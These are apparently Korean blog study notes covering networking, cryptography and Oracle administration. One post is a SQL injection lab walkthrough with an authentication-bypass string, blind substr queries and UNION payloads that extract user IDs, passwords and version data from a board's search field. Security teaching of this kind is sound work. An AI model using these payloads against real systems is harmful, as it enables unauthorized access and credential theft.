반응형

OSI 7 Layer

 

계층이름 계층 Protocol PDU     용량
7 응용(Application) FTP, Telnet, SSH, SMTP, DNS, HTTP,... Message http에 내가 표현하고자 하는 웹페이지 http ( 웹문서 ) 1000Byte
6 표현 (presentation) ASCII, hwp, zip, jpeg, html,... (포맷) Message 내가 표현하고자 하는 html과 jpeg http ( html ) 1000Byte
5 세션 (session)   Message 연결시작, 유지, 종료 담당 http ( html ) 1000Byte
4 전송 (transport) TCP : 신뢰적, UDP : 실시간 전송유리, 신뢰성이떨어짐 Segment tcp/udp 포트번호 (20Byte(tcp헤더 기본크기)) (tcp, 80 (http (html )))
<--20B--><----1000B---->
1020Byte
3 네트워크 (network) IP, ICMP, IGMP, ARP Packet   (ip (tcp,80 (http (html))))
20B <--20B--><----1000B---->
1040Byte
2 데이터 (data link) Ethernet, IEEE802.3, PPP, HDLC Frame   (mac (ip (tcp,80(http (html)))fcs)
14B 20B <--20B--><----1000B---->  4B
1058Byte
1 물리 (physical) 10Base2, 10Base5, 10BaseT Bits   10101011000101010111000100100110011.....  

 

 

7                                             http ( 그림 )                                                                        4000Byte  message

6                                             http ( jpeg )                                                                        4000Byte  message

5                                             http ( jpeg )                                                                        4000Byte  message

4  조각내서 붙임             (tcp, 80, 1번째 조각 (1, 1460B)                                                1480Byte  segment

                                        (tcp, 80, 2번째 조각 (2, 1460B)                                                1480Byte  segment

                                        (tcp, 80, 3번째 조각 (3, 1080B)                                                1480Byte  segment

3                                      (ip (tcp, 80, 1번째 조각 (1, 1460B)                                           1500Byte  segment

                                        (ip (tcp, 80, 2번째 조각 (2, 1460B)                                           1500Byte  segment

                                        (ip (tcp, 80, 3번째 조각 (3, 1080B)                                           1500Byte  segment

 2                                     (mac (ip (tcp, 80, 1번째 조각 (1, 1460B)fcs)                            1518Byte  frame
                                        (mac (ip (tcp, 80, 1번째 조각 (1, 1460B)fcs)                            1518Byte  frame
                                        (mac (ip (tcp, 80, 1번째 조각 (1, 1080B)fcs)                            1138Byte  frame

 

주요 포트번호

(tcp, 21 (ftp))
(tcp, 22 (ssh))
(tcp, 23 (telnet))
(tcp, 25 (smtp))
(udp, 53 (dns))
(tcp, 53 (dns))
(udp, 67 (dhcp))
(udp, 68 (dhcp))
(udp, 69 (tftp))
(tcp, 80 (http))
(tcp, 110 (pop3))
(tcp, 143 (imap))
(udp, 161 (snmp))
(udp, 162 (snmp))
(tcp, 443 (https))

반응형

'Network' 카테고리의 다른 글

클래스, 서브넷마스크  (0) 2022.12.27
IP 헤더  (0) 2022.12.27
DNS 서버 설치  (0) 2022.11.08
윈도우2019서버를 이용한 DNS 서버 설치, 작동 확인 및 DNS 서버를 이용한 네임서버 추가  (0) 2022.10.27
DNS 서버  (0) 2022.10.24
반응형

공개키에 의한 세션키 분배 : SESAME

대면 = 상면한다.
자신의 개인키, 공개키기관의 공개키

a가 b에게 접속하고 싶다는 시그널을 받은 공개키 기관은

공개키 기관이 자신의 개인키로 B의 공개키를 암호화해서 보낸다.

암호화된 b의 공개키를 기관의 공개키로 푼다.

a는 자신의 공개키로 b의 공개키를 암호화해서 b에게 보낸다.

b는 공개키 기관에 a의 공개키를 물어보고 공개키 기관은 자신의 개인키로 암호화해서
a의 공개키를 암호화해서 보낸다.

    N1은 b가 a를 확인하기 위한 난수이다
    N2는 a가 b를 확인하기 위한 난수이다.

N2를 a가 b에게 보내오면 신원이 확인된것을 알수 있다.

세션키를 a의 공개키로 한번 풀고 b의 공개키로 풀어준다.


해쉬함수

한쪽은 무한대이고 한쪽은 길이가 정해져 있다.
해쉬값이 무한대이지만 충돌날 확률이 높다


전자서명 PKI

책임추정성을 어떻게 확보할 것이냐 해서 나오게 되었다.(무결성과 관련됨)

전자서명 = 사용자 인증 + 메세지 인증 (두가지를 같이 입증해야한다.)

전자 서명의 원칙
1. 서명자 신원확인
2. 위조 불가
3. 변경 불가
4. 부인 불가
5. 재사용 불가

현재 공개키 암호 알고리즘을 사용한다.
- 메시지 복원형 전자서명 방식
- 문서 자체를 이용하는 서명방식
- 메시지 부가형 전자서명 방식
- 문서에 서명메세지를 포함하는 방식

공개키를 이용한 전자서명
전자서명과 공개키 암호의 관계
전자서명의 인영 역할 -> ‘공개키’
서명자A가 갖고 있는 인감 -> ‘개인키’
전자서명
- 서명자A의 개인키로 데이터의 전자서명을 생성
- 서명자A의 공개키로 전자서명을 검증

메세지 - 해쉬 - 다이제스트(길이가 한정되어있음)
- 송신자의 개인키로 암호화 -> 서명
메세지에 서명을 붙여서 보냄
받는자는 메세지와 서명을 분리시킴
메세지는 해쉬로 다이제스트를 만들고
암호화된 서명을 송신자의 공개키로 복호하여 다이제스트를
만든다
메세지 다이제스트와 복호한 다이제스트를 비교하여 확인한다


전자 봉투 (속도빠름, 기밀성이 높음)
메세지를 난수비밀키로 암호화하고
난수비밀키는 수신자의 공개키로 암호화하여(디지털봉투)
수신자에게 보낸다.
수신자는 디지털봉투를 수신자의 개인키로 복호화한다.
메세지를 비밀키로 복호화하여 메세지를 확인한다.

단점 : 상대방 인증이 안되고, 메세지가 바뀐지 알수없다.

PKI구성 요소

CRL : 인증서 폐지 목록
상태검증 : 인증서를 쓸 수 있는건지 확인

반응형

'암호학' 카테고리의 다른 글

4. 키관리  (0) 2022.12.27
1. 암호의 개념과 고전  (0) 2022.12.08
2. 비밀키  (0) 2022.12.08
반응형

mod 59
암호알고리즘 : mod59 에서 곱셈
개인키 : 4,15
공개키 : 4*15 mod 59 = 1
KR,KU = (4, 15) = d, o
원문 : biro (2,9,18,15)
      2*4, 9*4, 18*4, 15*4 = (8, 36, 13, 1)
서명문 : hJma
       8*15, 36*15, 13*15, 1*15
원문 : 2, 9, 18, 15 = biro


mod n
1 2 3 4 5 6 7 8 9 ... n-1
a b c d e f g h i ...

공개키 : 문자로 뭔지
서명문 : asbbsdfgWdasWZZ

mod53
개인키 : 6,9
공개키 : 6*9 mod 53 = 1
KR,KU = (6,9) = f, i
원문 : (49 5 3 1 14 14 15 20 1 12 23 1 25 19 2 21 9 12  4 20 8 5 6 21 20 21 18 5 6 15 18
15 21 18 25 15 21 20 8 2 21 20 23 5 3 1 14  2 21 9 12 4 15 21 18 25 15 21 20 8 6 15 18
20 8 5 6 21 20 21 18 5) * 6(개인키)
-> 294 30 18 6 84 84 90 120 6 72 138 6 150 114 12 126 54 72 24 120 48 30 36 126 120 126 108 30 36 90 108
90 126 108 150 90 126 120 48 12 126 120 138 30 18 6 84 12 126 54 72 24 90 126 108 150 90 126 120 48 36 90 108
120 48 30 36 126 120 126 108 30
-> 29 30 18 6 31 31 37 14 6 19 32 6 44 8 12 20 1 19 24 14 48 30 36 20 14 20 2 30 36 37 2
37 20 2 44 37 20 14 48 12 20 14 32 30 18 6 52 12 20 1 19 24 37 20 2 44 37 20 14 48 36 37 2
14 48 30 36 20 14 20 2 30
서명문 : CDrfEEKnfsFfRhltasxnVDJtntbDJKbKtbRKtnVltnFDrfZltasxKtbRKtnVJK2nVDJtntbD

We cannot always build the future for our youth
but we can build our youth for the future

4. 키 관리

KDC를 이용한 비밀키 분배
세션키는 사용한뒤 바로 파기한다.
KDC에 의존하는 시스템

A(클라이언트)가 KDC에게 B(서버)에게 접속 할 수있는
세션키를 A와 B에게


1. 클라이언트A가 키분배 센터에게 자신의 식별정보(ID(A))를 등록하고 자신의 마스터키를 받는다. 
2. 키분배 센터는 클라이언트A에게서버B를 식별할수 있는 세션키와 ID(B)와 T를 준다. 서버B에게 클라이언트A와 같은 세션키와 클라이언트A의 ID(A), T를 준다.
3. 클라이언트A는 서버B에게 세션키와 자신의ID와 같이 배정받은 T를 알려준다.
4. 서버B는 클라이언트A에게서 온 정보를 확인하고 맞으면 클라이언트A에게 세션키와 자신의ID와 T에 약속한
계산을 붙여서 보내 준다.

클라이언트 A와 서버 B는 KDC에서 분배한 마스터 키를 1개씩 소유하고 있다.
클라이언트 A는 KDC에게 자신의 식별정보 ID(A)와 함께 B와 통신 할 수 있게 세션키를 요청한다.
KDC는 A에게 세션키와B의 식별정보와 난수를 A의 마스터키로 암호화하여 전달하고
B에게도 똑같이 세션키와 A의 식별정보와 난수를 B의 마스터키로 암호화하여 전달한다.
A는 받은 정보를 마스터키로 복호화하고 자신의 식별정보와 난수를 세션키로 암호화하여 B에게 전송한다.
B는 세션키로 A의 난수와 A의 식별정보를 통해 A의 신원을 확인한다.
B는 자신의 식별정보와 난수(T+1)를 연산하여 세션키로 암호화하여 A에게 전송한다.
A는 난수(T+1)에 연산된것을 확인하여 B의 신원을 확인한다.

통신이 종료되면 발급된 세션키는 폐기되고
다시 통신하려면 세션키를 KDC에게 요청한다.
각 사용자 A, B는 KDC에서 분배한 마스터 키 1개씩 소유하고 있다.
 구조에 대한 설명은 아래와 같다.
Request || ID(A), A, B는 발신자 A는 응답자 B와 통신하기위해 KDC에 Request 보낸다. 요청에는 자신의 신원정보 ID(A)와 B와 통신할 세션키를 요청한다. (*세션키=비밀키)
 
2.Eka[SK, ID(B), T]
- KDC는 발신자 A에게 B와 통신할 세션키, B의 신원정보 ID(B), 난수(T)를 응답한다. 
- 응답시 KDC는 A의 마스터키로 암호화해 A에게 보낸다. (KDC는 A, B의 마스터키를 가지고 있다.)
 
2. Ekb[SK, ID(A), T]
- KDC는 발신자 B에게 세션키와 A의 신원정보 ID(A), 난수(T)를 B의 마스터 키로 암호화해서 보낸다.
 
3. Esk[ID(A), T]
- A가 자신의 신원정보 ID(A)와 난수 (T)를 세션키로 암호화해서 B에게 전송한다.
- B는 A의 난수(T)와 A의 신원정보 ID(A)를 통해 A의 신원을 확인한다.
 
4. Esk[ID(B), T+1]
- B는 자신의 신원정보 ID(B)와 난수(T+1)를 연산하여 세션키로 암호화해 A에게 전송한다.
- A는 난수(T+1)에 연산된 것을 확인해 B의 신원을 확인한다.
 
통신 종료
- 통신이 종료되면 발급받은 세션키는 폐기된다.
- 다시 통신하려면 세션키를 KDC에 요청한다.

반응형

'암호학' 카테고리의 다른 글

세션키 분배  (0) 2022.12.27
1. 암호의 개념과 고전  (0) 2022.12.08
2. 비밀키  (0) 2022.12.08
반응형

SQL 인젝션

1. 인증 우회 공격
퀴리문 조작을 통해 인증 SQL문을 무력화 시킨다.
통상적인 계정 정보를 이용한다.
ex) admin. sys. root. adminstrator 등등

2. blind base 공격
검색창등의 입력창을 이용해서 데이터베이스에 대한 구조적인 정보를 알아내는데 사용된다.
테이블명, 컬럼명이나 컬럼의 개수, 행의 개수등을 알아낸다.

3. union base 공격
blind 공격을 통해 알아낸 정보를 기반으로 특정 테이블(인증 테이블)의 내용을 검색하는 공격이다.

1차원 패치는 쉽게 뚫림
2차원 패치는 최소한 계정명은 알아야함

blind 공격

사용되는 SQL 함수
substr (문자열, #, #)
length (문자열)

테이블명을 검색한다. (정렬된 내용중 첫번째 테이블명 검색)
테이블명의 글자 개수를 검색한다.
테이블의 컬럼명을 검색한다.

asd' or 1='1' --
sql = select id, pw, name from id where id = 'asd' or 1='1' --' and pw = DBMS_CRYPTO.Hash(to_clob(to_char('asd' or 1='1' --'||'')),2)

본문의 검색 방법
$sql = "SELECT 컬럼 리스트
FROM 게시판_테이블
WHERE 제목 LIKE '%문자열%' 
ORDER BY 게시물_번호";

select rownum r, tname from tab order by tname; -> 테이블명 검색

select tname
from (select rownum r, tname from tab order by tname)
where r=1; -> 첫번째 테이블명

select substr ((select tname
from (select rownum r, tname
from tab order by tname)
where r=1),1,1)
from dual;  -> 첫 번째 테이블명의 첫번째 글자

검색 입력 창에 다음을 입력하고 결과를 확인한다.



첫 번째 테이블 명의 첫 번째 글자가 A인지 확인한다.
A~Z, _등 입력 가능한 문자를 모두 입력해서 테이블명의 각 철자를 확인한다.

컬럼명 확인
select rownum r, column_name
from cols
where table_name = 'BOARD'
order by column_name;

컬럼의 데이터 타입 확인
select rownum r, column_name, data_type
from cols
where table_name = 'BOARD'
order by column_name;

다누리%' and substr ((select tname from (select rownum r, tname from
tab order by tname) where r=1),5,1) = 'C'--

다누리%' and substr ((select tname from (select rownum r, tname from
tab order by tname) where r=6),1,1) = 'b'--

RDBMS 정보 검색
SELECT banner FROM v$version
• 이 문장을 검색창에 union으로 삽입해서 게시판 화면에 정보가 검색되도록 한다.
• 제목 부분에 정보가 banner를 출력하는 경우
• 게시물을 검색하는 SQL문을 유추해야 한다.


%' union select 100,  '1', 'id' , 'pw', '22', 10 from v$version --
%' union select 100,  '1', id  , pw, '2' , 10 from id -- 

%' union selec 30,  '


%' union select 100, 'id', 'id' , pw, 10 from id --

%' union select 30,  'B', id , pw, 'YYYYMMDD', 10 from id --

%' union select 30,  '28', id , pw, 'YYYYMMDD', 10 from id --

https://md5.web-max.ca/index.php#enter 
-> 해시 복호화 사이트

%' union select 1,  '2' , banner, 5 from v$version --

%' union select 100,  '1', 'A' , banner , '22', 10 from v$version --

%' union select 20,  '1', SID , AMHO , 'YYYYMMDD', 10 from SARAM --

%' union SELECT banner from v$version where row num=1

select rownum r, column_name, data_type
%' union select 7,  '2', 'A', substr ((select column_name from (select rownum r, column_name from cols where table_name = 'SARAM' order by column_name) where r=1),2,1), 'a', 0 from dual--

반응형

'SQL' 카테고리의 다른 글

오라클 테이블스페이스 및 데이터 파일 관리  (0) 2022.12.27
오라클 redo log file  (0) 2022.12.27
오라클 자동실행  (0) 2022.12.27
SQL index 시퀀스  (0) 2022.12.27
오라클 Control file 확인  (0) 2022.11.17
반응형

테이블스페이스 및 데이터 파일 관리

데이터 파일은 테이블스페이스에 저장 (물리적인 데이터는 데이터파일에 저장)



절편화 현상 - 딕셔너리 테이블스페이스 

create tablespace insa
datafile '/app/ora19c/oradata/DB19/insa01.dbf' SIZE 1M;



SELECT tablespace_name, bytes, file_name FROM dba_data_files union all
SELECT tablespace_name, bytes, file_name FROM dba_temp_files; 


tablespace 늘리는 방법

1. data file의 크기를 늘리는 방법
   - 수동으로 늘리는 방법 - 환경적인 요소가 없습니다.
   - 자동으로 늘리는 방법
     .data file이 생성될때 늘어나게 설정하는 방법
     .사용중인 data file이 자동으로 늘어나게 설정하는 방법

2. data file을 추가하는 방법
   - 주로 저장매체가 추가된경우나 또는 별도의 저장매체가 준비된경우

* TS에 데이터 파일이 동일한 물리적인 저장매체에 여러개 운영되는 경우는 ...

 

CREATE TABLESPACE te
DATAFILE 
'/app/ora19c/oradata/disk1/te01.dbf' SIZE 30M,
'/app/ora19c/oradata/disk2/te02.dbf' SIZE 30M;


CREATE TABLESPACE st
DATAFILE 
'/app/ora19c/oradata/disk2/st01.dbf' SIZE 30M,
'/app/ora19c/oradata/disk1/st02.dbf' SIZE 30M;

SQL> CREATE TABLESPACE indx
DATAFILE 
'/app/ora19c/oradata/disk1/indx01.dbf' SIZE 20M,
'/app/ora19c/oradata/disk2/indx02.dbf' SIZE 20M;


-> 01.dbf부터 실행되기 때문에 io의 과부하를 방지하기 위해 disk에 01.dbf파일을 나누어 준다.



-1 언리미티드

권한이 없어도 테이블을 만들 수 있는데 테이블 만들때는 권한이 할당된다.
하지만 인서트 할때는 권한을 할당 받을 수없어 하지 못한다.


실습 8.5 Default permanent tablespace -> 기본적으로 설정된 테이블스페이스를 확인 할 수 있다.


  SELECT username, default_tablespace 
 FROM dba_users
 WHERE username IN ('TE01', 'TE02'); 

반응형

'SQL' 카테고리의 다른 글

SQL 인젝션  (0) 2022.12.27
오라클 redo log file  (0) 2022.12.27
오라클 자동실행  (0) 2022.12.27
SQL index 시퀀스  (0) 2022.12.27
오라클 Control file 확인  (0) 2022.11.17
반응형

현재 사용하는 그룹인 경우 로그 파일 스위치를 시행해야 멤버를 삭제할 수 있다.
데이터베이스가 ARCHIVELOG 모드에서 실행 중이고 멤버가 속한 로그 파일 그룹이
아카이브되지 않은 경우 그 멤버를 삭제할 수 없다.
온라인 리두 로그 파일 멤버를 삭제할 때 OMF 기능을 사용하지 않을 경우 운영 체제
파일은 삭제되지 않는다. )

Redo log file 확인
사용 명령어
SQL> SELECT A.GROUP#, A.MEMBER, B.BYTES, B.STATUS, B.SEQUENCE#
 2 FROM V$LOGFILE A, V$LOG B
 3 WHERE A.GROUP# = B.GROUP#
 4 ORDER BY 1;
 - 현재 log 그룹과 member의 운영 상황을 조회한다.
 - GROUP# : 그룹 번호
 - MEMBER : 멤버 파일의 경로 및 파일명
 - BYTES : 멤버 파일의 크기
 - STATUS : 그룹의 상태 [표 4.1]을참고 한다.

Redo log group 추가,삭제

SQL> ALTER DATABASE DROP LOGFILE GROUP [group number];
 - 지정한 redo log group을 삭제한다.

SQL> ALTER DATABASE ADD LOGFILE GROUP [group number]
 2 (['member file1', 'member file2', ... ]) SIZE [크기];
 - redo log group을 추가한다. [group number]는 생략 가능하다.

Redo log member 추가, 삭제

SQL> ALTER DATABASE DROP LOGFILE MEMBER
 2 ['member file1', 'member file2', ...];
 - 지정한 멤버 파일을 삭제한다.

SQL> ALTER DATABASE ADD LOGFILE MEMBER
 2 ['member file'] TO GROUP [group nember],
 3 ... ;
 - redo log 멤버 파일을 지정한 그룹에 추가한다. 

아카이브 로그 모드
명령어로 작업을 수행하면 모든 작업 내용이 리두로그 파일 그룹에 저장된다.
작업의 양이 많아 지면 기록하는 데이터의 양도 많아지게 되는데 이때 리두그룹의 용량을
벗어나는 부분은 다른 리두그룹에 저장되게 되고 처음에 작업내용이 저장된 리두파일 그룹은
incative 상태가 된다. 이렇게 작업내용이 그룹에 저장되면서 모든 그룹에 용량이 부족해지면
새로운 작업내용을 이전 작업내용에 덮여 쓰여 작업내용이 지워지게 되어 이전에 작업했었던
작업내용의 데이터 손실이 발생하면 복구하기 어렵다는 단점이 있다. 이런 단점을 해결하기 위한
방법이 리두로그파일의 내용을 다른 디렉토리에 자동으로 복사하여 저장하도록 운영하는 방법을
아카이브 로그모드라고 한다. 아카이브로그모드가 실행중이고 멤버가 속한 로그 파일 그룹이
아카이브 되지 않았을 경우 그 멤버를 삭제 할 수 없다.


col name format a100
select a.group#, a.member, b.bytes, b.status, b.sequence#
from v$logfile a, v$log b
where a.group# = b.group#
order by 1;

반응형

'SQL' 카테고리의 다른 글

SQL 인젝션  (0) 2022.12.27
오라클 테이블스페이스 및 데이터 파일 관리  (0) 2022.12.27
오라클 자동실행  (0) 2022.12.27
SQL index 시퀀스  (0) 2022.12.27
오라클 Control file 확인  (0) 2022.11.17
반응형

관리자 접속을 위한 패스워드 파일 생성
- 환경 SID : DB19

orapwd
file = 패스워드파일
password = 사용할 패스워드
force = [Y/N] 패스워드 파일이 있을 경우 강제 생성
format = 호환버전 ( 12이하로 지정하면 패스워드에 특수문자 불필요)
entries = 인원수

# orapwd file=$ORACLE_HOME/dbs/orapwDB19 password=사용할비밀번호 force=y format=12

접속명령어
# sqlplus sys/비밀번호@데이터베이스 호스트이름 as sysdba

오라클 자동 실행
- 환경 ORACLE_OWNER : ora19c
     $ORACLE_HOME  : /app/ora19c/19c
     $ORACLE_SID   : DB19

1. /etc/oratab 파일 수정
$ORACLE_SID:$ORACLE_HOME:Y를 추가 한다.
-> # cat /etc/oratab
   .........
   .........
   DB19:/app/ora19c/19c:N -> DB19:/app/ora19c/19c:Y로 변경

2. /etc/rc.d/rc.local 에 실행 스크립트를 추가 한다.
-> # cat /etc/rc.d/rc.local
   .........
   .........
   su - ora19c -c /app/ora19c/19c/bin/"lsnrctl start"    -> ora19c 계정의 권한으로 lsnrctl 파일을 실행하게 해준다.
                                                            (su - ora19c : ora19c 계정 , -C : 실행,
             /app/ora19c/19c/bin/"lsnrctl start" : lsnrctl 파일의 위치와 실행옵션까지 쓰려면 " "붙여야한다.)
   
   su - ora19c -c /app/ora19c/19c/bin/dbstart            -> ora19c 계정의 권한으로 데이터베이스를 실행시킨다.


* CentOS 7은 /etc/rc.d/rc.local 파일에 x 퍼미션이 없다 반드시 퍼미션을 추가한다.
  -> ls -l /etc/rc.d/rc.local 파일의 퍼미션을 보고 x 퍼미션이 없을 시
     chmod 명령어로 x 퍼미션을 추가한다.

col name format a40

반응형

'SQL' 카테고리의 다른 글

오라클 테이블스페이스 및 데이터 파일 관리  (0) 2022.12.27
오라클 redo log file  (0) 2022.12.27
SQL index 시퀀스  (0) 2022.12.27
오라클 Control file 확인  (0) 2022.11.17
오라클 관리자 실습 과정  (0) 2022.11.15
반응형

sql index
관리지향적

프라이머리 키나 유니크 키를 만들면 인덱스를 만들어준다.

스캔 두가지 : 풀테이블스캔 , 인덱스스캔

테이블의 데이터는 정렬해서 들어가지 않지만
인덱스에서는 정렬해서 저장된다.

풀테이블스캔 : 위에서부터 데이터를 찾는데 데이터를 찾았다고해도 중복되는 데이터가 있을 수도 있어서
            끝까지 다 스캔한다.

인덱스스캔 : 인덱스에 정렬된 데이터의 가운데부터 물어봐서 찾으려는 데이터보다 큰지 작은지 물어보고
          만약 크다면 아래는 스캔하지 않고 위쪽의 가운데부터 다시 물어보는 식으로 범위를 좁혀나가서
          데이터를 찾는다.

고유 인덱스 (Unique index)        : 인덱스 값이 중복되지 않는다.
-자동 생성 : PK, UK 가 설정된 컬럼에 자동 생성된다.

비 고유 인덱스 (Non unique index)  : 인덱스 값이 중복될수도 있다.
-create index 명령으로 생성한다.

 인덱스 사례
 - 전체 데이터의 10%~15% 정도의 데이터를 검색하는 경우
 - WHERE 절이나 조인에 사용되는 컬럼
 - 데이터의 행이 매우 많은 경우
 - FK 컬럼!!


비 고유 인덱스는 삭제할 수있지만 고유 인덱스는 제약조건을 제거하면 삭제된다.


프라이머리 키를 두개의 컬럼을 묶어서 만들면 인덱스또한 두개의 컬럼을 묶은 상태로 인덱스가 만들어지며
COLUMN_POSITION 에 1, 2 로 위치가 앞뒤로 표기 된다. 어떤 컬럼이 먼저 정렬되있는지가 굉장히 중요하다.

인덱스 조회 명령어

SELECT i.table_name, i.index_name, c.column_name, c.column_position, i.uniqueness
 FROM user_indexes I, user_ind_columns c
 WHERE c.index_name = i.index_name
 AND i.table_name IN ('STUDENT', 'PROFESSOR', 'COURSE', 'SCORE')
 ORDER BY i.table_name;

select c.table_name, c.constraint_name, c.constraint_type, s.column_name
from user_constraints c, user_cons_columns s
where c.constraint_name = s.constraint_name
and c.table_name IN ('STUDENT', 'PROFESSOR', 'COURSE', 'SCORE')
ORDER BY c.table_name, c.constraint_name;

논 유니크 인덱스 생성
create index course_pno_fk
on course (pno);
create index score_cno_fk
on score (cno);

select i.table_name, i.index_name, c.column_name, c.column_position, i.uniqueness
from user_indexes i, user_ind_columns c
where c.index_name = i.index_name
and i.index_name LIKE '%FK'
order by c.table_name;

create index student_sname_indx
on student (sname);
create index student_major_sname_indx
on student (major, sname);
create index student_coavr_indx
on student (avr*4.5/4.0);

select c.index_name, c.column_name, c.column_position, i.uniqueness
from user_indexes i, user_ind_columns c
where c.index_name = i.index_name
and c.table_name = 'STUDENT'
order by c.index_name, c.column_position;


인덱스 삭제

select c.index_name, c.column_name, c.column_position, i.uniqueness
from user_indexes i, user_ind_columns c
where c.index_name = i.index_name
and c.table_name = 'STUDENT';

논유니크 인덱스 삭제
drop index student_major_sname_indx;

유니크 인덱스 삭제
alter table student drop constraint student_sno_pk CASCADE;


인덱스 
컬럼의 물리적인위치 rowid도 저장

뷰(VIEW) 물리적인 공간을 차지 하지 않는다.(alter는 없음)
         테이블을 임의로 볼 수 있는 창문
검색하는 용도로 사용한다.
수정할땐 지우고 새로 만들면 된다.

SQL> CREATE [OR REPLACE][FORCE | NOFORCE] VIEW 뷰 (컬럼 ... )
 2 AS (SELECT 문장 : sub query)
 3 [WITH CHECK OPTION [CONSTRAINT constrant_name]]
 4 [WITH READ ONLY [CONSTRAINT constrant_name]];


SQL> SELECT view_name, text FROM user_views;
SQL> SET LONG 1000 (1000바이트까지 출력)

뷰는 상위 계정에서 사용하는데 관리자 계정으로 접속해서 해당 계정에게 만들 수 있는 권한을 할당할 수 있다.
C:\...\>sqlplus / as sysdba
SQL> GRANT create view TO st;
권한이 부여되었습니다.

테이블 사용하는 것과 똑같이 사용하면 된다.

단순 뷰는 insert 할 수 있다.하지만 insert 하지 않는게 원칙이다. (뷰에 보이지않는 데이터도 insert 될 수도 있다.)
방지방법 WITH CHECK OPTION CONSTRAINT view_뷰이름_ck;

뷰를 만드는 이유는 복잡한 sql문을 사용하기 어려운 개발자들을 위해 데이터베이스 튜너가 만들어준다.

시퀀스
시퀀스 넘버 ( ex)게시물 번호 ) : 값을 구별은 되지만 값의 의미는 없음 (cycle로 중복될수도 있지만 사용하지 않는다.),
                            어떤 번호를 받을지는 모른다.

시퀀스 생성
SQL> CREATE SEQUENCE 시퀀스 
 2 [ START WITH 시작_값             -> 몇번부터 시작할지 (한번만들면 수정 불가)
 3 INCREMENT BY 증가_값             -> 얼마씩 증가할지 (기본값1)
 4 MAXVALUE [상한_값 | NOMAXVALUE]  -> 몇번까지 줄건지 (기본으로는 상한선이 없음)
 5 MINVALUE [하한_값 | NOMINVALUE]  
 6 CYCLE | NOCYCLE                 -> nocycle이 기본, cycle은 거의 안씀
 7 CACHE [cache_개수| NOCACHE]];    

SQL> CREATE SEQUENCE 시퀀스;    -> 기본값으로 시퀀스가 만들어진다.

SQL> ALTER SEQUENCE 시퀀스 
 2 INCREMENT BY 증가_값 
 3 MAXVALUE [상한_값 | NOMAXVALUE]
 4 MINVALUE [하한_값 | NOMINVALUE]
 5 CYCLE | NOCYCLE 
 6 CACHE cache_개수| NOCACHE;



시퀀스 삭제
SQL> DROP SEQUENCE 시퀀스;



시퀀스를 추가 할 수 있다.
SQL> ... 시퀀스.NEXTVAL ... 
SQL> ... 시퀀스.CURRVAL ...

반응형

'SQL' 카테고리의 다른 글

오라클 redo log file  (0) 2022.12.27
오라클 자동실행  (0) 2022.12.27
오라클 Control file 확인  (0) 2022.11.17
오라클 관리자 실습 과정  (0) 2022.11.15
오라클 컨트롤파일  (0) 2022.11.08
반응형
더보기
용어 정리

Plaintext : 평문

암호알고리즘 -> 암호화 키
복호알고리즘 -> 복호화 키

암호해독 : 복호화 키 없이 평문을 찾아내는 기술

 

송신자와 수신자가 같은 키를 사용하면 대칭 키 
-> 만들긴 쉬우나 나눠 갖기는 어렵다.

송신자와 수신자가 다른 키를 사용하면 공개 키

 

암호의 개념

통신 당사자들끼리만 아는 비밀스런 신호나 부호이며 
암호화와 복호화하기 위한 원리, 수단, 방법 등을 취급하는 기술이나 과학이다.

 

평문 전송 시 공격을 방어하기 위해 암호화키, 복호화키를 만든다.

검증을 쉽게 하기 위해 암호알고리즘의 프로그램과 복호알고리즘의 프로그램이 같은것을 사용한다.
암호알고리즘은 검증이 쉬워야 하기 때문에 단순 하다.

 

암호 원리
치환 : 값을 바꿈
전치 : 값을 섞음

암호의 종류
블록 암호화 : 연산을 블록단위로 처리 (64bit, 128bit로 자름)
스트림 암호화 : 입력을 연속적으로 처리

단대단 암호
프로그램을 돌려서 암호화 한다.

링크 암호
기계가 암호화 한다.

관용 암호
암호/복호에 동일한 키와 동일한 알고리즘 사용 수신자와 송신자는 키를 교환해야 함 공유한 키(비밀키)는 비밀로 유지 키 분배의 어려움 디지털 서명 불가능 속도가 빠름

공개키 암호
암호/복호에 각각 서로 다른 키와 동일한 알고리즘 사용 수신자와 송신자는 연관된 키쌍 중 하나를 알아야 함 키 쌍중 하나(개인키)를 비밀로 유지 공개키를 공개 디지털 서명 가능 속도가 느림


고전적 암호 기술

전송 내용을 숨기는 방법
- Steganograhpy 방법 : 메세지의 존재 자체를 은폐
- 암호 방법 : 다양한 원문의 변환에 의해 외부인이 그 의미를 알지 못하도록 메세지를 변형
            치환, 전치를 이용 원문을 숨김

특징
- 원문내의 단어나 문자를 적당히 배열 함으로서 실제 메시지를 나타냄

예제
- 문자 마킹 : 원문의 문자에 연필로 덧써서 표시를 해 빛을 적당한 각도로 비추어야만 보임

- 보이지 않는 잉크 : 종이에 열이나 화학 처리를 해야만 보이는 잉크를 사용

- 핀 구멍 : 빛을 비춰야만 보이는 작은 구멍을 원문에 넣는 방법

 

장점 : 생성이 쉽다.
단점 : 상대적으로 적은 정보 비트를 은닉하는데 많은 오버헤드 요구
      방법 노출시 재사용 불가
      비밀 통신에 대한 사실이 발견되면 타인에 의해 이용될 수 있다.

최근 경향
- 동영상, 이미지 파일을 이용 원문을 숨기는 방법이 인터넷 등의 네트워크에서 이용됨
- 테러, 범죄에 이용되는 경우가 나타남

 

 

 

치환기법 - 시저 암호


쥴리어스 시저에 의해 개발
예제 (Key : 3)
평문   : meet me after the toga party
암호문 : phhw ph diwhu wkh wrjd sduwd

암호화 방식 (문자 p를 암호화)
C = E(p) = (p+3) mod (26)
일반화 : C = E(p) = (p+k) mod (26)
문자 p는 C로 암호화

복호화
p = D(C) = (C-3) mod (26)
일반화 : p=D(C) = (C-k) mod (26)
문자 C는 p로 복호화

단점
- 암호화 및 해독 알고리즘을 알고 있다.
- 가능한 키가 25개 뿐이다.
- Brute-force attack이 가능
- 평문의 언어를 알고 있으며 쉽게 인식할 수 있다.

 

 

 

 

다중치환 (난수표)


2자기씩 암호화
playfair 알고리즘은 5*5 행렬에 기초
키워드가 monarchy인 행렬

암호화 방법
me et me af te rt he to ga pa rt yd
cl kl cl oi kl dz cf pr in so dz bc

베제네리표 알파벳을 한칸씩 뒤로 밈
키(단어하나)워드 : infinitive
평문(보내고자 하는 문장) : i see him drive

i s e e h i m d r i v e
i n f i n i t i v e i n
q f j m u q f l m m d r

 

특징
평문자에 대한 암호문자가 유일한 키워드에 각 문자에 대하여 여
러 개 존재
문자 빈도수에 대한 정보가 불분명해진다

 

단점
평문 구조에 대한 정보가 모두 은폐되지는 않는다.
단일 문자나 다중문자로 암호화 되었는지 아는 것은 쉽다.
빈도수에 따라
키워드의 길이를 유추가능

 

 

 

전치기법

사각형 행렬 사용
